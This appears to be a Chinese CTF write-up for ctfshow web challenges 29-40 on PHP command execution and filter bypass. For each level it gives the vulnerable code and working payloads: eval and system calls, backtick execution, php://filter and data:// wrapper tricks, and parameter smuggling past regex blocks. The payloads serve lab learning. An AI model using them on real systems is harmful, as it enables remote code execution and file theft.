ctfshow web29-web40

命令执行

看清都过滤了些什么!!

知识点:

web34:当;和()被过滤了就用语言结构,一般有echo print isset unset include require

web37:data协议是将后面的字符串当成php代码执行,例如 /?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

web38:短标签/?c=data://text/plain,<?=system("cp fla* 1.txt");?>

web29(shell指令)

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

分析上面的php代码可知 如果传递了c变量,它将被赋值给变量$c,又因为有正则表达式, 检查变量$c中是否包含字符串"flag"(不区分大小写)

如果变量$c中不包含字符串"flag",则执行eval($c);,将$c作为PHP代码进行解析和执行

试了?c=任意字符不对

1.查看phpinfo

phpinfo() 是 PHP 中的一个函数,用于显示 PHP 运行环境的配置信息。该函数可以显示 PHP 的版本信息、编译器信息、模块信息、配置信息等,可以帮助开发者了解 PHP 的运行环境和配置信息。

/?c=phpinfo();
/?c=phpinfo()?>

2.查看目录

system

/?c=system(ls);

发现存在flag.php

3.尝试使用shell指令查看flag

///将flag.php复制到1.txt

执行后无回显

?c=system("cp fla?.php 1.txt");

查看flag

/1.txt

web30(exec)

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{ 
    highlight_file(__FILE__);
}

过滤了flag,system,php

解法一:

这里用exec执行函数,虽然exec对执行结果不输出,但是不代表不可以查看flag,这里用函数执行复制(将flag复制给1.txt,直接用浏览器访问1.txt),由于flag被过滤,这里用通配符表示

/?c=exec('cp fla* 1.txt');

用passthru函数执行命令 也可以查看目录

/?c=passthru('ls');

下面这个也可以查出目录,注意是``` 不是'''

/?c=echo `ls`;

方法二:

/?c=echo `cat ????.???`;

但没有返回结果,可能是php文件将flag当变量解析了

类似于这样

同样将原本的flag.php重命名

/?c=echo `cat ????.??? >> 1.txt`;

再查看1.txt就有flag了回显了

知识点:

直接/?c=`cp fla?.??? 1.ttx`;也是可以的``相当于system

php执行系统外部命令函数:exec()、passthru()、system()、shell_exec()
web31

代码审计

php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag system php cat sort shell \. 空格 \'

空格都过滤了

做题思路就是绕过过滤

嵌套异或逃逸:eval()

&符号作为连接并且,使用get的1作为一个参数,传给c,再给1一个赋值,这样就可以跳过对c的过滤。

这里1就相当于参数逃逸出去了,不属于c

eval() 函数用来执行一个字符串表达式,并返回表达式的值。 无回显

/?c=eval($_GET[1]);&1=system('ls');

下一步

/?c=eval($_GET[1]);&1=system('cat flag.php');

还是无回显,源代码中查看

还可以用cat的倒叙tac

/?c=eval($_GET[1]);&1=system('tac flag.php');

会直接显示在页面不用查看源代码

相当于借助了一个跳板,让他执行参数1的值,参数1就脱离了对参数c的正则判断

web32

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"

绕过flag 、system、php、cat、sort、shell、. 、空格、’、` 、echo、;、括号

括号也被过滤了,web31的方法行不通

文件包含include()

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php://filter/convert.base64-encode/resource是过滤器也是伪协议,意思是通过指定的通道来读取某个文件

分析:

?c=include%0a$_GET[1]?>:通过GET请求传递参数"c",并使用include函数来包含指定的文件。在这个payload中,使用"%0a"来表示换行符"\n",使得$_GET[1]能够被解析为一个新的变量。最终的目的是执行从GET参数"1"中获取的文件路径。

1=php://filter/convert.base64-encode/resource=flag.php:使用GET请求传递参数"1",该参数的值为php://filter/convert.base64-encode/resource=flag.php。这是一种特殊的文件包含方式,其中php://filter用于对文件进行过滤和转换,convert.base64-encode表示将文件内容进行Base64编码,而resource=flag.php指定了要读取的文件为flag.php。

二者用&连接,参数"1"可变,前后要一致

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

利用文件包含,将flag.php包含进来。再使用过滤器,base64编码读取flag

filter:通过指定的通道来读取指定的文件
这里使用base64读取
不用base64读不到源文件

之后base64解码

ctfshow{8056c2ba-9a09-4b94-acdd-20c2030d6e2e}
web33

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了

绕过 flag system php cat sort shell . ’ ` echo ; ( " 空格的过滤

同web32,既然过滤了括号就用include(文件包含)

(注意一个自己经常犯的错误就是将0输成字母o)

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到base64编码后解码

flag

ctfshow{1a7bb049-5a66-4b3b-bdd5-a18fdc588e86}

也可以不用include

require
/?c=require%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag system php cat shell sort . ’ ` echo ; : "

过滤了括号,同web32用include

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

base64解码得flag

ctfshow{7772b93d-741a-4162-bce5-2715b5f968da}
web35

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 flag system php cat sort shell . 空格 ' ` echo ;( : " < =

这次多了<=

同web34用include

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

base64编码解码得flag

ctfshow{bd3a8999-bebb-4891-b65c-71cfce527138}
web36

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag system php cat sort shell . 空格 ' ` echo ; ( : "< = / [0-9]

数字也被过滤了,但在web32中提过,参数1是可变的,前后一致即可

还是用include

将参数1换成参数a
/?c=include%0A$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

base64解码

33360a68-e0fd-40dc-8d5e-4a8a28ef3cc1
web37

代码审计

<?php
//flag in flag.php 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

题目 说flag in flag.php ,并且使用include包含输入

过滤了flag

新知识:

data协议:

text/plain,<?php system(‘命令’);?>

将后面的字符串当php代码执行

/?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

将flag.php的内容复制到1.txt中,也可以mv fla?.php 1.txt

查看1.txt

ctfshow{1cf13af4-3a5e-4440-aeb8-0e19523c36c7}

知识点:data伪协议的利用

web38

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag php file

试了/?c=data://text/plain,<?php system("cp fla* 1.txt");?>

对啊 php被过滤了

将php换成= 变成短标签

/?c=data://text/plain,<?=system("cp fla* 1.txt");?>

查看1.txt拿到flag

ctfshow{fb22ff01-0402-4424-a89a-13f32d3d12e4}
web39

代码审计

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag

用data协议

/?c=data://text/plain,<?php system("ls");?>

tac 反向输出flag

/?c=data://text/plain,<?php system("tac fla?.php");?>

ctfshow{fbb2671b-e664-4f62-850e-6d76c00ccfc6}

看着有点眼熟,方法跟web37一样

php代码上有一点点不一样

include($c); echo $flag; 和include($c.".php");

web40

代码审计

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了[0-9] ~ ` @ # \$ % ^ & * ( ) - = + { [ ] } : ' " , < . > / ? \\

一眼看去过滤了好多符号,没有过滤字母

有提示:show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

提示就有payload:

/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

ctfshow{e4d160e6-924f-4e8d-bd4f-fd3084875a3c}

自己的方法:

拿到当前的变量

/?c=print_r(get_defined_vars());

有点不一样

/?c=print_r(next(get_defined_vars()));

/?c=print(array_pop(next(get_defined_vars())));

显示php版本

让他执行一下

/?c=eval(array_pop(next(get_defined_vars())));

博主是可以出来的,但我不可以

执行成功可以rce

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/564753.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【leetcode面试经典150题】62. K 个一组翻转链表(C++)

【leetcode面试经典150题】专栏系列将为准备暑期实习生以及秋招的同学们提高在面试时的经典面试算法题的思路和想法。本专栏将以一题多解和精简算法思路为主&#xff0c;题解使用C语言。&#xff08;若有使用其他语言的同学也可了解题解思路&#xff0c;本质上语法内容一致&…

Oracle 可传输表空间(Transportable Tablespace)

在数据归档、备份、测试等场景&#xff0c;我们经常需要将数据从一个系统移动到另一个系统&#xff0c;一个较常用的方案是数据的导出/导入&#xff08;export/import&#xff09;&#xff0c;但是在数据量较大的场景&#xff0c;此方案可能比较耗时。而可传输表空间是一种以文…

大数据技术应用实训室解决方案

一、大数据课程体系 1.1 大数据实验实训课程体系设计依据 大数据实验实训课程体系的设计依据主要围绕培养目标、培养方案和课程体系建设三个方面来展开。 1、培养目标 大数据实验实训课程的设计旨在培养具备大数据理论知识和实践技能的专业人才。具体而言&#xff0c;这些人才…

Midjourney 中文文档

快速使用 学习如何在Discord上使用Midjourney Bot从简单的文本提示中创建自定义图像。 行为准则 不要表现出不良行为。不要使用我们的工具制作可能引起煽动&#xff0c;不安或引起争议的图像。这包括血腥和成人内容。尊重其他人和团队。 1&#xff1a;加入Discord 访问Midj…

【软件测试】关于Web自动化测试

文章目录 &#x1f343;前言&#x1f332;如何实现Web自动化&#x1f6a9;安装驱动管理&#x1f6a9;Selenium库的安装 &#x1f333;自动化常用函数&#x1f6a9;元素的定位&#x1f388;cssSelector&#x1f388;xpath &#x1f6a9;操作测试对象&#x1f388;点击/提交对象—…

Linux中docker安装

准备工作 系统要求 Docker 支持 64 位版本 CentOS 7/8&#xff0c;并且要求内核版本不低于 3.10。 CentOS 7 满足最低内核的要求&#xff0c;但由于内核版本比较低&#xff0c;部分功能&#xff08;如 overlay2 存储层驱动&#xff09;无法使用&#xff0c;并且部分功能可能不…

个人电脑信息安全注意事项

个人电脑信息安全注意事项 一、密码安全&#xff1a; 设置复杂且独特的密码&#xff0c;避免使用容易猜测或常见的密码。 定期更换密码&#xff0c;特别是在重要账户或应用上。 不要在多个账户上重复使用相同的密码。 使用密码管理工具来安全地存储和访问密码。 二、软件安…

在传统云安全失败时提供帮助的六种策略

随着基于内存的攻击的激增继续挑战传统的云安全防御&#xff0c;对主动和全面的安全措施的需求变得至关重要。采用结合端点检测和响应、内存完整性保护和定期更新的多层方法可以加强对这些难以捉摸的威胁的防御。 随着云计算技术在各行各业的迅速普及&#xff0c;数据保护和安全…

在Windows 10中禁用Windows错误报告的4种方法,总有一种适合你

序言 在本文中&#xff0c;我们的主题是如何在Windows 10中禁用Windows错误报告。你知道什么是Windows错误报告吗&#xff1f;事实上&#xff0c;Windows错误报告有助于从用户的计算机收集有关硬件和软件问题的信息&#xff0c;并将这些信息报告给Microsoft。 它将检查任何可…

图像哈希:GLCM+DCT

文章信息 作者&#xff1a;Ziqing Huang期刊&#xff1a;IEEE&#xff08;一区&#xff09;题目&#xff1a;Perceptual Image Hashing with Texture and Invariant Vector Distance for Copy Detection 目的、实验步骤及结论 目的&#xff1a;使用GLCM进行全局特征的提取&am…

Transformer - 时间特征的处理

Transformer - 时间特征的处理 flyfish ETTm1.csv有如下内容 假如有2016/7/1 0:45:00有这样的时间字符串&#xff0c;如何变成时间特征列表 from typing import Listimport numpy as np import pandas as pd from pandas.tseries import offsets from pandas.tseries.freq…

BFS 专题 ——FloodFill算法:733.图像渲染

文章目录 前言FloodFill算法简介题目描述算法原理代码实现——BFSCJava 前言 大家好啊&#xff0c;今天就正式开始我们的BFS专题了&#xff0c;觉得有用的朋友给个三连呗。 FloodFill算法简介 中文&#xff1a;洪水灌溉 举个例子&#xff0c;正数为凸起的山峰&#xff0c;负…

android学习笔记(五)-MVP模式

1、MVP模式demo的实现&#xff0c;效果下&#xff1a; 2、创建一个Fruit类&#xff1a; package com.example.listview; //Fruit类就是Model&#xff0c;表示应用程序中的数据对象。 public class Fruit {private int imageId;private String name;private String price;publi…

查找算法之插值查找

目录 前言一、查找算法预备知识二、插值查找三、总结3.1 查找性能3.2 适用场景 前言 查找算法是一种用于在数据集合中查找特定元素的算法。在计算机科学中&#xff0c;查找算法通常被用于在数组、链表、树等数据结构中查找目标元素的位置或者判断目标元素是否存在。 查找算法的…

基础SQL DML-插入语句

插入语句前&#xff0c;我们先创建一个表。表的创建在DDL语句里面涉及&#xff0c;可以参考&#xff1a;小赖同学吖-CSDN博客 我们创建一个员工表进行数据的插入操作 插入&#xff08;添加&#xff09;语句的语法 给员工表添加一条记录 给员工表添加多条记录 也可以通过下面的方…

Linux文件chattr/lsattr/Linux权限(搭建权限测试环境实战)引申到内部原理及Linux删除系统文件原理-7539字详谈

企业高薪思维: 每一个阶段什么时候是最重要的&#xff1f;&#xff08;快速定位&#xff09; 1.学习最重要的事情 &#xff08;学生阶段&#xff0c;找工作前阶段&#xff09; 2.家庭&#xff0c;女朋友 &#xff08;工作阶段/学生阶段&#xff0c;学习不受到影响&#xff09; …

浅析binance新币OMNI的前世今生

大盘跌跌不休&#xff0c;近期唯一的指望就是binance即将上线的OMNI 。虽然目前查到的空投数量不及预期&#xff0c;但OMNI能首发币安&#xff0c;确实远超预期了。 OMNI代币总量1亿&#xff0c;初始流通仅10,391,492枚&#xff0c;其中币安Lanchpool可挖350万枚 对于OMNI这个…

OneNote插件推荐(OneMore)

使用OneNote编辑笔记时希望有一个插件能够实现markdown的功能&#xff0c;于是发现了OneMark&#xff0c;后面用着用着&#xff0c;OneMark竟然收费了&#xff0c;于是苦苦找寻好用的markdown插件&#xff0c;无果&#xff0c;此时发现我的目标主要是实现对代码的格式化&#x…

洛谷 -P1007 独木桥(模拟,思维)

独木桥 题目背景 战争已经进入到紧要时间。你是运输小队长&#xff0c;正在率领运输部队向前线运送物资。运输任务像做题一样的无聊。你希望找些刺激&#xff0c;于是命令你的士兵们到前方的一座独木桥上欣赏风景&#xff0c;而你留在桥下欣赏士兵们。士兵们十分愤怒&#xf…

VMware 15 虚拟机网络遇到的问题

剧情提要 通过Cent os7 的镜像文件&#xff0c;创建了一个虚拟机A&#xff08;后面简称A&#xff09;&#xff0c;事后发现&#xff0c;宿主机无法ping通A 在虚拟机中通过IP a 看到的IP信息也没有只管的ip信息如图 然后执行&#xff0c;宿主机才能访问A。 sudo dhclient ens…